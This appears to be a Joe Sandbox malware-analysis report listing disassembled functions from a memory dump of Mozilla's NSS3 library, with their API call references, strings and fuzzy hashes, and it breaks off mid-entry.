Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: f13bc9473c48cec0d8876e896f82f82cd85cc3c1b033b28d13ada03c1f09f51f
Instruction ID: 6d861ddbd94dfd0dbc73e0e5ca91dee68d65589177380ac221d8e5bd80d5e88c
Opcode Fuzzy Hash: f13bc9473c48cec0d8876e896f82f82cd85cc3c1b033b28d13ada03c1f09f51f
Instruction Fuzzy Hash: 61717F71D106869BEB00CF25CD40BAABBA4FF95308F154269EC18D7B11F770E999CB91

Function 6CC30FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC31057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC31085
PK11_GetAllTokens.NSS3 ref: 6CC310B1
free.MOZGLUE(?), ref: 6CC31107
PR_SetError.NSS3(00000000,00000000), ref: 6CC31172
free.MOZGLUE(?), ref: 6CC31182
free.MOZGLUE(?), ref: 6CC311A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CC311C5

Part of subcall function 6CC352C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CC0EAC5,00000001), ref: 6CC352DF
Part of subcall function 6CC352C0: EnterCriticalSection.KERNEL32(?), ref: 6CC352F3
Part of subcall function 6CC352C0: PR_Unlock.NSS3(?), ref: 6CC35358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC311D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC311F3

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 2f2c64bb076b36d9ccc919c2202eae0375e6858b043929b686b440bb5a4f7c32
Instruction ID: 5173acb69190c55022cb603749b680adc3e97c23975f837712d1df268ad87104
Opcode Fuzzy Hash: 2f2c64bb076b36d9ccc919c2202eae0375e6858b043929b686b440bb5a4f7c32
Instruction Fuzzy Hash: 466180B0E003559FEB00DF69E881BAABBB4BF44348F145128E91DAB741FB31E955CB91

Function 6CC3ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE10
EnterCriticalSection.KERNEL32(?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CC1D079,00000000,00000001), ref: 6CC3AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE7F
TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEF1
free.MOZGLUE(6CC1CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?), ref: 6CC3AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AF30

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 1d3cf6fe446479227c4a39526ddb7f8966b65e57672c8859dd7aeaca530d368e
Instruction ID: 9eb83825e406b00043fbe798ee72156792f9d6ce7fb80132f83f7a7b05dfa110
Opcode Fuzzy Hash: 1d3cf6fe446479227c4a39526ddb7f8966b65e57672c8859dd7aeaca530d368e
Instruction Fuzzy Hash: C651DDB1A00611AFEF04DF69E884B5AB7B8BF48318F145664E90C97A51F731E8B4CBD1

Function 6CC14CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CC1AB7F,?,00000000,?), ref: 6CC14CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CC1AB7F,?,00000000,?), ref: 6CC14CC8
TlsGetValue.KERNEL32(?,6CC1AB7F,?,00000000,?), ref: 6CC14CE0
EnterCriticalSection.KERNEL32(?,?,6CC1AB7F,?,00000000,?), ref: 6CC14CF4
PL_HashTableLookup.NSS3(?,?,?,6CC1AB7F,?,00000000,?), ref: 6CC14D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CC14D10

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CC14D26

Part of subcall function 6CCB9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DC6
Part of subcall function 6CCB9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DD1

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CC14D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CC14DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CC14E02

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTable
String ID:
API String ID: 3089169597-0
Opcode ID: e71cb493d6086dba3190dfdca2b45558a269f3a488a223edc511f2f9cd921f3a
Instruction ID: 1196f0f4ef7452b2c3c62d88d38c256caeff8eb1d22be480e6d2ad80b602e21b
Opcode Fuzzy Hash: e71cb493d6086dba3190dfdca2b45558a269f3a488a223edc511f2f9cd921f3a
Instruction Fuzzy Hash: A641A8B5A042059BEF01AF69EC40A6677B8BF0525DF0441B0ED1897B12FB31D958D7E2

Function 6CBF2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CBF2CDA,?,00000000), ref: 6CBF2E1E

Part of subcall function 6CC4FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CBF9003,?), ref: 6CC4FD91
Part of subcall function 6CC4FD80: PORT_Alloc_Util.NSS3(A4686CC5,?), ref: 6CC4FDA2
Part of subcall function 6CC4FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CC5,?,?), ref: 6CC4FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CBF2E33

Part of subcall function 6CC4FD80: free.MOZGLUE(00000000,?,?), ref: 6CC4FDD1

TlsGetValue.KERNEL32 ref: 6CBF2E4E
EnterCriticalSection.KERNEL32(?), ref: 6CBF2E5E
PL_HashTableLookup.NSS3(?), ref: 6CBF2E71
PL_HashTableRemove.NSS3(?), ref: 6CBF2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CBF2E96
PR_Unlock.NSS3 ref: 6CBF2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBF2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBF2EC5

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: dac9e9bebc37226c3eb90e40854d8e63dc7060f507ac27e77a09651f1bb3eafe
Instruction ID: 65529695e063daad821c81591d0445753460be96ccb5edd6eaefc12e7b1f68a7
Opcode Fuzzy Hash: dac9e9bebc37226c3eb90e40854d8e63dc7060f507ac27e77a09651f1bb3eafe
Instruction Fuzzy Hash: F7210772E00185ABFF002F68EC49A9A3A78DB5234DF544030EE2886711F732C55DD6A3

Function 6CC80690 Relevance: 15.1, APIs: 10, Instructions: 57threadCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000000,?,?,6CC80642,?,?,6CC8477E,00000000), ref: 6CC80695

Part of subcall function 6CCB98D0: calloc.MOZGLUE(00000001,00000084,6CBE0936,00000001,?,6CBE102C), ref: 6CCB98E5

PR_NewLock.NSS3(00000000,?,?,6CC80642,?,?,6CC8477E,00000000), ref: 6CC806A1

Part of subcall function 6CCB98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CCB9946
Part of subcall function 6CCB98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB716B7,00000000), ref: 6CCB994E
Part of subcall function 6CCB98D0: free.MOZGLUE(00000000), ref: 6CCB995E

PR_GetCurrentThread.NSS3(00000000,?,?,6CC80642,?,?,6CC8477E,00000000), ref: 6CC806BB
DeleteCriticalSection.KERNEL32(?,00000000,?,?,6CC80642,?,?,6CC8477E,00000000), ref: 6CC806D1
free.MOZGLUE(?,?,?,6CC80642,?,?,6CC8477E,00000000), ref: 6CC806D8
PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,?,6CC80642,?,?,6CC8477E,00000000), ref: 6CC806F4

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CC8070A
free.MOZGLUE(?), ref: 6CC80711
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CC8072D
PR_SetError.NSS3(?,00000000), ref: 6CC80738

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Error$CriticalSectionfree$DeleteLock$CountCurrentInitializeLastSpinThreadValuecalloc
String ID:
API String ID: 3345202482-0
Opcode ID: ad9cdec195b6dfd3675856b9dbe39b40f3305189a9e6ac3bcae659576980b2aa
Instruction ID: 1206591ded90da33e64b467651c7fee8f624c2a69ccb1ceec2a62fa82b4726a4
Opcode Fuzzy Hash: ad9cdec195b6dfd3675856b9dbe39b40f3305189a9e6ac3bcae659576980b2aa
Instruction Fuzzy Hash: 7611E575B02A515BFE10BFB49C49B5B3B7CAB9261DF510024EB0997B40FB71D0098792

Function 6CC966A0 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 358COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(00000000), ref: 6CC9690A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC96999
PK11_ImportDataKey.NSS3(00000000,0000402A,00000004,0000010C,?,00000000), ref: 6CC969E3

Part of subcall function 6CC7F060: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,hrr ech accept confirmation,?,6CC967A0,?,?,?), ref: 6CC7F08A

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC96A1F
PK11_FreeSymKey.NSS3(?), ref: 6CC96A3F
PK11_FreeSymKey.NSS3(?), ref: 6CC96A58

Part of subcall function 6CC7EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC7EE85

Part of subcall function 6CC7EE50: realloc.MOZGLUE(36C6D85A,?), ref: 6CC7EEAE
Part of subcall function 6CC7EE50: PORT_Alloc_Util.NSS3(?), ref: 6CC7EEC5
Part of subcall function 6CC7EE50: htonl.WSOCK32(?), ref: 6CC7EEE3
Part of subcall function 6CC7EE50: htonl.WSOCK32(00000000,?), ref: 6CC7EEED
Part of subcall function 6CC7EE50: memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CC7EF01

Strings

ech accept confirmation, xrefs: 6CC966BE
hrr ech accept confirmation, xrefs: 6CC966C3, 6CC96A9B

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_$FreeUtil$ErrorItem_Zfreehtonl$Alloc_DataImportmemcpyrealloc
String ID: ech accept confirmation$hrr ech accept confirmation
API String ID: 316861715-779126823
Opcode ID: df4f9d50604e4ce9a1a2b0bd66d57004f6b44696d0d236ba2b1d6e15b03af2d4
Instruction ID: 05225140a223cc938f8c58e5feea2c830770af047088a16b82c743fe43843fa4
Opcode Fuzzy Hash: df4f9d50604e4ce9a1a2b0bd66d57004f6b44696d0d236ba2b1d6e15b03af2d4
Instruction Fuzzy Hash: 11B1C3B2A047056BE710DE24AD41FEB76A8EF4474CF040928FD54D6A81F731E619C7E2

Function 6CB7CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CB7B999), ref: 6CB7CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CB7B999), ref: 6CB7D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CB7B999), ref: 6CB7D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CB7B999), ref: 6CCC972B

Strings

database corruption, xrefs: 6CB7CFE7, 6CB7D013, 6CB7D028, 6CB7D039, 6CB7D03E, 6CCC9786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB7CFDD, 6CB7D00E, 6CB7D022, 6CB7D033, 6CCC9780
%s at line %d of [%.10s], xrefs: 6CB7CFEC, 6CB7D018, 6CB7D029, 6CB7D03F, 6CCC978B

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 97fee0727e6349f8bab565a7a779e510a2abaff83b4c81a1d8ecfaa561f329f0
Instruction ID: c0d9f061a68d3413a890ed6bc9b4efbb5e6fe8d80a3473dd508f6722f686f41c
Opcode Fuzzy Hash: 97fee0727e6349f8bab565a7a779e510a2abaff83b4c81a1d8ecfaa561f329f0
Instruction Fuzzy Hash: A3615A71A042509BD310CF29C840BA7B7F5EF45318F68456DE8499FB82E376D847C7A2

Function 6CC7EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CC9A4A1,?,00000000,?,00000001), ref: 6CC7EF6D

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

htonl.WSOCK32(00000000,?,6CC9A4A1,?,00000000,?,00000001), ref: 6CC7EFE4
htonl.WSOCK32(?,00000000,?,6CC9A4A1,?,00000000,?,00000001), ref: 6CC7EFF1
memcpy.VCRUNTIME140(?,?,6CC9A4A1,?,00000000,?,6CC9A4A1,?,00000000,?,00000001), ref: 6CC7F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CC9A4A1,?,00000000,?,00000001), ref: 6CC7F027

Strings

dtls13, xrefs: 6CC7EF33

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: a598fa0e041c9c2dc230a96c5c3e1cfc67608359c0a0427388d9bae09e57cd3b
Instruction ID: 150bd82692dbb3fe9ff4f6ef2317caccbc89f28e88b18bfdd7ae66b7adfdaaa3
Opcode Fuzzy Hash: a598fa0e041c9c2dc230a96c5c3e1cfc67608359c0a0427388d9bae09e57cd3b
Instruction Fuzzy Hash: 7631A072A01211AFD720DF68DC80B9AB7A4EF49358F15802DE9189BB51F731E915CBE1

Function 6CBFAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBFAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CD19500,6CBF3F91), ref: 6CBFAFD2

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

DER_GetInteger_Util.NSS3(?), ref: 6CBFB007

Part of subcall function 6CC46A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CBF1666,?,6CBFB00C,?), ref: 6CC46AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CBFB02F
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBFB046
PL_FreeArenaPool.NSS3 ref: 6CBFB058
PL_FinishArenaPool.NSS3 ref: 6CBFB060

Strings

security, xrefs: 6CBFAFB8

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 7e032a450070ca64181a68200d2249f3cfd2fa70f60f01f6dbdb8d4698cc22c7
Instruction ID: 8488a673b1de0bb84f09a08c8b2c049b0dcac7a97e63b5419dab2b6d0d4acf52
Opcode Fuzzy Hash: 7e032a450070ca64181a68200d2249f3cfd2fa70f60f01f6dbdb8d4698cc22c7
Instruction Fuzzy Hash: 0331F471404340ABEB108F34DC45BAA77A8AF8632CF544619E9749BBD1E732911ECB9B

Function 6CC3CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CC3CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CC3CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CC3D079

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 1bf2f14c67bdff17cd77b00d8d9cd19ae4b0318e68c8b740db3e51e012353165
Instruction ID: 947b2efa1725a900e7d4fd4116c1e44f50d45ca83768a5f5099bf3028b558bac
Opcode Fuzzy Hash: 1bf2f14c67bdff17cd77b00d8d9cd19ae4b0318e68c8b740db3e51e012353165
Instruction Fuzzy Hash: 04C19EB1A002299BDB10DF24DC80BDAB7B4BF48308F1452A8E94CA7741F775EA95CF90

Function 6CC106A0 Relevance: 13.7, APIs: 9, Instructions: 225stringCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC106C2
EnterCriticalSection.KERNEL32(?), ref: 6CC106D6
PR_Unlock.NSS3 ref: 6CC106EB

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

free.MOZGLUE(?), ref: 6CC107DE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC107FA

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterLeaveUnlockfreestrlen
String ID:
API String ID: 3527478211-0
Opcode ID: 86be34979cae529230e3b583a846adb38bf63511d7164b60c7f1d944f7a57926
Instruction ID: f812a6c4f286695833be467872ace7e8da39817a200cf714770d4d86f6c0aa9e
Opcode Fuzzy Hash: 86be34979cae529230e3b583a846adb38bf63511d7164b60c7f1d944f7a57926
Instruction Fuzzy Hash: 5B81D8B1A003449FEB009F65DC81BAA7BB8BF09358F048168ED495BB22F732D558DBD1

Function 6CC64620 Relevance: 13.7, APIs: 9, Instructions: 221threadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE02F,00000000,?,?,?,00000000), ref: 6CC64963

Part of subcall function 6CC03090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC1AE42), ref: 6CC030AA
Part of subcall function 6CC03090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC030C7
